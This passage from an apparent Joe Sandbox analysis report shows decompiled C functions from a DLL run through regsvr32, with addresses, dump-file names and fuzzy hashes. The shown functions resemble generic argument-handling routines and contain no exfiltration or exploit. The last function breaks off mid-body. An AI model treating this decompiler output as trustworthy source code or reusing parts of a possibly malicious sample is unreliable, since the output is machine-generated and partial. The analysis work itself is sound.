                                                                                                        0x180032399
                                                                                                        0x18003239c
                                                                                                        0x18003239e
                                                                                                        0x1800323a6
                                                                                                        0x1800323ae
                                                                                                        0x1800323b1
                                                                                                        0x1800323c0
                                                                                                        0x1800323c2
                                                                                                        0x1800323c8
                                                                                                        0x1800323cb
                                                                                                        0x1800323d0
                                                                                                        0x1800323d4
                                                                                                        0x1800323db
                                                                                                        0x1800323e1
                                                                                                        0x1800323e6
                                                                                                        0x1800323eb
                                                                                                        0x1800323f2
                                                                                                        0x180032402
                                                                                                        0x180032404
                                                                                                        0x18003240e
                                                                                                        0x180032412
                                                                                                        0x18003241a
                                                                                                        0x18003241c
                                                                                                        0x180032422
                                                                                                        0x180032426
                                                                                                        0x180032429
                                                                                                        0x18003242f
                                                                                                        0x180032431
                                                                                                        0x180032435
                                                                                                        0x180032445
                                                                                                        0x180032447
                                                                                                        0x18003244b
                                                                                                        0x18003244e
                                                                                                        0x180032455
                                                                                                        0x180032459
                                                                                                        0x180032460
                                                                                                        0x180032464
                                                                                                        0x180032469
                                                                                                        0x18003246e
                                                                                                        0x180032473
                                                                                                        0x180032480
                                                                                                        0x18003248f

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 23d6e162d384f268b972333168e5036debef89b2b5f2f38a72e03433df3f3b66
                                                                                                        • Instruction ID: 1e14047c20895d68375fa181a2ffd95dc0ab2971055356fb649eef96d283186b
                                                                                                        • Opcode Fuzzy Hash: 23d6e162d384f268b972333168e5036debef89b2b5f2f38a72e03433df3f3b66
                                                                                                        • Instruction Fuzzy Hash: 36318472205788C5DBA68F29E0503AD7BA0F39DB8CF658115EB8C4B751DF36C156DB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800353C8 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E000000011800353C8(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				intOrPtr* _t67;
				long long _t68;
				long long _t69;
				long long* _t72;
				long long _t73;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800353f5;
				_t67 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t67 + 8;
				_t68 =  *_t67;
				 *__rdx = _t68;
				goto 0x800354c2;
				if (__eax - 0x63 <= 0) goto 0x80035436;
				_t56 =  *((intOrPtr*)(_t68 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t68 + 8));
				_v16 = _t57;
				_v24 = _t73;
				E00000001180025880(_t57, __rcx, _t68, __rdx, _t74, _t75, _t67 + 8);
				goto 0x800354c4;
				if ( *((intOrPtr*)(_t68 + 0x470)) != 1) goto 0x800354b4;
				_t43 =  *((intOrPtr*)(_t68 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t72 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t72 != 0) goto 0x80035470;
				 *_t72 = 2;
				 *((intOrPtr*)(_t72 + 4)) = r9b;
				 *((intOrPtr*)(_t72 + 0x10)) = _t43;
				dil = 1;
				goto 0x800354c4;
				_v24 = _t43;
				r8d = 2;
				_t69 = _t64;
				if (E00000001180040098(_t41, _t64, _t69, _t72, _t73, _t80, _t81) != 0) goto 0x80035468;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t73;
				E00000001180025880(_t61, _t64, _t69, _t72, _t74, _t75, _t67 + 8);
				goto 0x8003546b;
				 *_t72 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 0x488 + _t61 * 8))));
				return 1;
			}






















                                                                                                        0x1800353c8
                                                                                                        0x1800353d9
                                                                                                        0x1800353dc
                                                                                                        0x1800353de
                                                                                                        0x1800353e6
                                                                                                        0x1800353ea
                                                                                                        0x1800353ed
                                                                                                        0x1800353f0
                                                                                                        0x1800353ff
                                                                                                        0x180035401
                                                                                                        0x180035407
                                                                                                        0x18003540a
                                                                                                        0x18003540f
                                                                                                        0x180035413
                                                                                                        0x18003541a
                                                                                                        0x180035420
                                                                                                        0x180035425
                                                                                                        0x18003542a
                                                                                                        0x180035431
                                                                                                        0x180035441
                                                                                                        0x180035443
                                                                                                        0x18003544d
                                                                                                        0x180035451
                                                                                                        0x180035459
                                                                                                        0x18003545b
                                                                                                        0x180035461
                                                                                                        0x180035465
                                                                                                        0x180035468
                                                                                                        0x18003546e
                                                                                                        0x180035470
                                                                                                        0x180035474
                                                                                                        0x18003547a
                                                                                                        0x180035484
                                                                                                        0x180035486
                                                                                                        0x18003548a
                                                                                                        0x18003548d
                                                                                                        0x180035494
                                                                                                        0x180035498
                                                                                                        0x18003549f
                                                                                                        0x1800354a3
                                                                                                        0x1800354a8
                                                                                                        0x1800354ad
                                                                                                        0x1800354b2
                                                                                                        0x1800354bf
                                                                                                        0x1800354ce

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 7ad3bc9040005499cd6648c74aec49e6ebdfa9595a8779b46860d676efc6c61c
                                                                                                        • Instruction ID: ac08b20fad297ac5aa63495d462a164496b2a27b54b9ec87eab8640aae972b0d
                                                                                                        • Opcode Fuzzy Hash: 7ad3bc9040005499cd6648c74aec49e6ebdfa9595a8779b46860d676efc6c61c
                                                                                                        • Instruction Fuzzy Hash: C9317072205B88C5DB668F29E0403AE77A0F39DB8DF658115DB8D4B761CF36C196CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800343EC Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E000000011800343EC(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80034419;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x800344e8;
				if (__eax - 0x63 <= 0) goto 0x8003445a;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x800344ea;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x800344da;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80034496;
				 *_t71 = 3;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x800344ea;
				_v24 = _t42;
				r8d = 3;
				_t68 = _t63;
				if (E000000011800404D0(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x8003448e;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x80034491;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x1800343ec
                                                                                                        0x1800343fd
                                                                                                        0x180034400
                                                                                                        0x180034402
                                                                                                        0x18003440a
                                                                                                        0x18003440e
                                                                                                        0x180034411
                                                                                                        0x180034414
                                                                                                        0x180034423
                                                                                                        0x180034425
                                                                                                        0x18003442b
                                                                                                        0x18003442e
                                                                                                        0x180034433
                                                                                                        0x180034437
                                                                                                        0x18003443e
                                                                                                        0x180034444
                                                                                                        0x180034449
                                                                                                        0x18003444e
                                                                                                        0x180034455
                                                                                                        0x180034465
                                                                                                        0x180034467
                                                                                                        0x180034471
                                                                                                        0x180034476
                                                                                                        0x18003447e
                                                                                                        0x180034480
                                                                                                        0x180034486
                                                                                                        0x18003448b
                                                                                                        0x18003448e
                                                                                                        0x180034494
                                                                                                        0x180034496
                                                                                                        0x18003449a
                                                                                                        0x1800344a0
                                                                                                        0x1800344aa
                                                                                                        0x1800344ac
                                                                                                        0x1800344b0
                                                                                                        0x1800344b3
                                                                                                        0x1800344ba
                                                                                                        0x1800344be
                                                                                                        0x1800344c5
                                                                                                        0x1800344c9
                                                                                                        0x1800344ce
                                                                                                        0x1800344d3
                                                                                                        0x1800344d8
                                                                                                        0x1800344e5
                                                                                                        0x1800344f4

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 3c0a800cf073062f36bbb3207cdf10ea21c771f23c82b34a4bd89d77e12c630a
                                                                                                        • Instruction ID: b59e9acc627cc0207a92cef7b4212da918323d0d2c928e705542dfac05adad18
                                                                                                        • Opcode Fuzzy Hash: 3c0a800cf073062f36bbb3207cdf10ea21c771f23c82b34a4bd89d77e12c630a
                                                                                                        • Instruction Fuzzy Hash: 22316F73204A48C6EB668F29E0503AE77A4F389B8CF658125DB8C4F750DF36C196C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180033460 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180033460(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				long long _t66;
				intOrPtr* _t67;
				long long* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				intOrPtr* _t78;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x8003348d;
				_t78 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t78 + 8;
				_t66 =  *_t78;
				 *__rdx = _t66;
				goto 0x8003355c;
				if (__eax - 0x63 <= 0) goto 0x800334ce;
				_t55 =  *((intOrPtr*)(_t66 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t66 + 8));
				_v16 = _t56;
				_v24 = _t71;
				E00000001180025880(_t56, __rcx, _t66, __rdx, _t72, _t73, _t78 + 8);
				goto 0x8003355e;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x8003354e;
				_t42 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t70 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x8003350a;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t42;
				dil = 1;
				goto 0x8003355e;
				_v24 = _t42;
				r8d = 1;
				_t67 = _t63;
				if (E000000011800402CC(_t63, _t67, _t70, _t72, _t79) != 0) goto 0x80033502;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t71;
				E00000001180025880(_t60, _t63, _t67, _t70, _t72, _t73, _t78 + 8);
				goto 0x80033505;
				 *_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x180033460
                                                                                                        0x180033471
                                                                                                        0x180033474
                                                                                                        0x180033476
                                                                                                        0x18003347e
                                                                                                        0x180033482
                                                                                                        0x180033485
                                                                                                        0x180033488
                                                                                                        0x180033497
                                                                                                        0x180033499
                                                                                                        0x18003349f
                                                                                                        0x1800334a2
                                                                                                        0x1800334a7
                                                                                                        0x1800334ab
                                                                                                        0x1800334b2
                                                                                                        0x1800334b8
                                                                                                        0x1800334bd
                                                                                                        0x1800334c2
                                                                                                        0x1800334c9
                                                                                                        0x1800334d9
                                                                                                        0x1800334db
                                                                                                        0x1800334e5
                                                                                                        0x1800334ea
                                                                                                        0x1800334f2
                                                                                                        0x1800334f4
                                                                                                        0x1800334fa
                                                                                                        0x1800334ff
                                                                                                        0x180033502
                                                                                                        0x180033508
                                                                                                        0x18003350a
                                                                                                        0x18003350e
                                                                                                        0x180033514
                                                                                                        0x18003351e
                                                                                                        0x180033520
                                                                                                        0x180033524
                                                                                                        0x180033527
                                                                                                        0x18003352e
                                                                                                        0x180033532
                                                                                                        0x180033539
                                                                                                        0x18003353d
                                                                                                        0x180033542
                                                                                                        0x180033547
                                                                                                        0x18003354c
                                                                                                        0x180033559
                                                                                                        0x180033568

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 089290185ad11be377ff20191146625ffb338fcc3480b69f55a71c3dd67db0b6
                                                                                                        • Instruction ID: 897ebfaf9e31cedfdbfb138b8adecbc0550c1782b18bf8b6954f2e2b75b66f3b
                                                                                                        • Opcode Fuzzy Hash: 089290185ad11be377ff20191146625ffb338fcc3480b69f55a71c3dd67db0b6
                                                                                                        • Instruction Fuzzy Hash: 60319572205A44C6EB668F29D0813ED77A0F389B8CF258119EB8D4B761DF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032490 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E00000001180032490(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				signed long long _t44;
				intOrPtr _t57;
				signed long long _t58;
				intOrPtr _t61;
				signed long long _t62;
				void* _t64;
				long long _t66;
				signed long long* _t70;
				signed long long _t71;
				void* _t72;
				void* _t73;
				void* _t79;

				_t66 = __rcx;
				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800324be;
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x8003258d;
				if (__eax - 0x63 <= 0) goto 0x800324ff;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t57 + 0x30)) = 1;
				 *((intOrPtr*)(_t57 + 0x2c)) = 0x16;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t58;
				_v24 = _t71;
				E00000001180025880(_t58, __rcx, __rcx, __rdx, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x8003258f;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x8003257f;
				_t44 =  *(_t66 + 0x34);
				r9d =  *(_t64 + 0x3a) & 0x0000ffff;
				_t70 = _t64 + (_t58 + _t58 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x8003253b;
				 *_t70 = 1;
				_t70[0] = r9w;
				_t70[2] = _t44;
				dil = 1;
				goto 0x8003258f;
				_v24 = _t44;
				r8d = 1;
				if (E000000011800402CC(_t64, _t64, _t70, _t72, _t79) != 0) goto 0x80032533;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t61 + 0x30)) = 1;
				 *((intOrPtr*)(_t61 + 0x2c)) = 0x16;
				_t62 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t62;
				_v24 = _t71;
				E00000001180025880(_t62, _t64, _t64, _t70, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80032536;
				 *_t70 = _t62;
				return 1;
			}

















                                                                                                        0x180032490
                                                                                                        0x180032490
                                                                                                        0x1800324a1
                                                                                                        0x1800324a4
                                                                                                        0x1800324ae
                                                                                                        0x1800324b6
                                                                                                        0x1800324b9
                                                                                                        0x1800324c8
                                                                                                        0x1800324ca
                                                                                                        0x1800324d0
                                                                                                        0x1800324d3
                                                                                                        0x1800324d8
                                                                                                        0x1800324dc
                                                                                                        0x1800324e3
                                                                                                        0x1800324e9
                                                                                                        0x1800324ee
                                                                                                        0x1800324f3
                                                                                                        0x1800324fa
                                                                                                        0x18003250a
                                                                                                        0x18003250c
                                                                                                        0x180032516
                                                                                                        0x18003251b
                                                                                                        0x180032523
                                                                                                        0x180032525
                                                                                                        0x18003252b
                                                                                                        0x180032530
                                                                                                        0x180032533
                                                                                                        0x180032539
                                                                                                        0x18003253b
                                                                                                        0x18003253f
                                                                                                        0x18003254f
                                                                                                        0x180032551
                                                                                                        0x180032555
                                                                                                        0x180032558
                                                                                                        0x18003255f
                                                                                                        0x180032563
                                                                                                        0x18003256a
                                                                                                        0x18003256e
                                                                                                        0x180032573
                                                                                                        0x180032578
                                                                                                        0x18003257d
                                                                                                        0x18003258a
                                                                                                        0x180032599

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: d8a3e41f928e667fcd419d37b2a6c30671867cb92438239c427b538278f917e9
                                                                                                        • Instruction ID: 3e5e46fe5e0a580a5f59f26e60996b577db173745bc04735acd53d43c1cd4fbe
                                                                                                        • Opcode Fuzzy Hash: d8a3e41f928e667fcd419d37b2a6c30671867cb92438239c427b538278f917e9
                                                                                                        • Instruction Fuzzy Hash: 9E319373205A88C6DBA68F29E0503AD77A0F39CB8CF658115EB8C4B755DF36C256C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800354D0 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E000000011800354D0(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800354fd;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x800355cc;
				if (__eax - 0x63 <= 0) goto 0x8003553e;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x800355ce;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x800355be;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x8003557a;
				 *_t71 = 2;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x800355ce;
				_v24 = _t42;
				r8d = 2;
				_t68 = _t63;
				if (E000000011800402CC(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x80035572;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x80035575;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x1800354d0
                                                                                                        0x1800354e1
                                                                                                        0x1800354e4
                                                                                                        0x1800354e6
                                                                                                        0x1800354ee
                                                                                                        0x1800354f2
                                                                                                        0x1800354f5
                                                                                                        0x1800354f8
                                                                                                        0x180035507
                                                                                                        0x180035509
                                                                                                        0x18003550f
                                                                                                        0x180035512
                                                                                                        0x180035517
                                                                                                        0x18003551b
                                                                                                        0x180035522
                                                                                                        0x180035528
                                                                                                        0x18003552d
                                                                                                        0x180035532
                                                                                                        0x180035539
                                                                                                        0x180035549
                                                                                                        0x18003554b
                                                                                                        0x180035555
                                                                                                        0x18003555a
                                                                                                        0x180035562
                                                                                                        0x180035564
                                                                                                        0x18003556a
                                                                                                        0x18003556f
                                                                                                        0x180035572
                                                                                                        0x180035578
                                                                                                        0x18003557a
                                                                                                        0x18003557e
                                                                                                        0x180035584
                                                                                                        0x18003558e
                                                                                                        0x180035590
                                                                                                        0x180035594
                                                                                                        0x180035597
                                                                                                        0x18003559e
                                                                                                        0x1800355a2
                                                                                                        0x1800355a9
                                                                                                        0x1800355ad
                                                                                                        0x1800355b2
                                                                                                        0x1800355b7
                                                                                                        0x1800355bc
                                                                                                        0x1800355c9
                                                                                                        0x1800355d8

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 4090c9df854493412a0d738e3d027c660e00255aabf42518e0565aeb32f47fe8
                                                                                                        • Instruction ID: 3da425169e154cd6ce531042bf3bba739f9aa508b42505e1db6167984640c103
                                                                                                        • Opcode Fuzzy Hash: 4090c9df854493412a0d738e3d027c660e00255aabf42518e0565aeb32f47fe8
                                                                                                        • Instruction Fuzzy Hash: 1E319172205B48C6EB668F29E0503AD77A1F38CB8CF658125EB8D4B765DF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180034528 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180034528(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				intOrPtr* _t67;
				long long _t68;
				long long _t69;
				long long* _t72;
				long long _t73;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80034555;
				_t67 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t67 + 8;
				_t68 =  *_t67;
				 *__rdx = _t68;
				goto 0x80034622;
				if (__eax - 0x63 <= 0) goto 0x80034596;
				_t56 =  *((intOrPtr*)(_t68 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t68 + 8));
				_v16 = _t57;
				_v24 = _t73;
				E00000001180025880(_t57, __rcx, _t68, __rdx, _t74, _t75, _t67 + 8);
				goto 0x80034624;
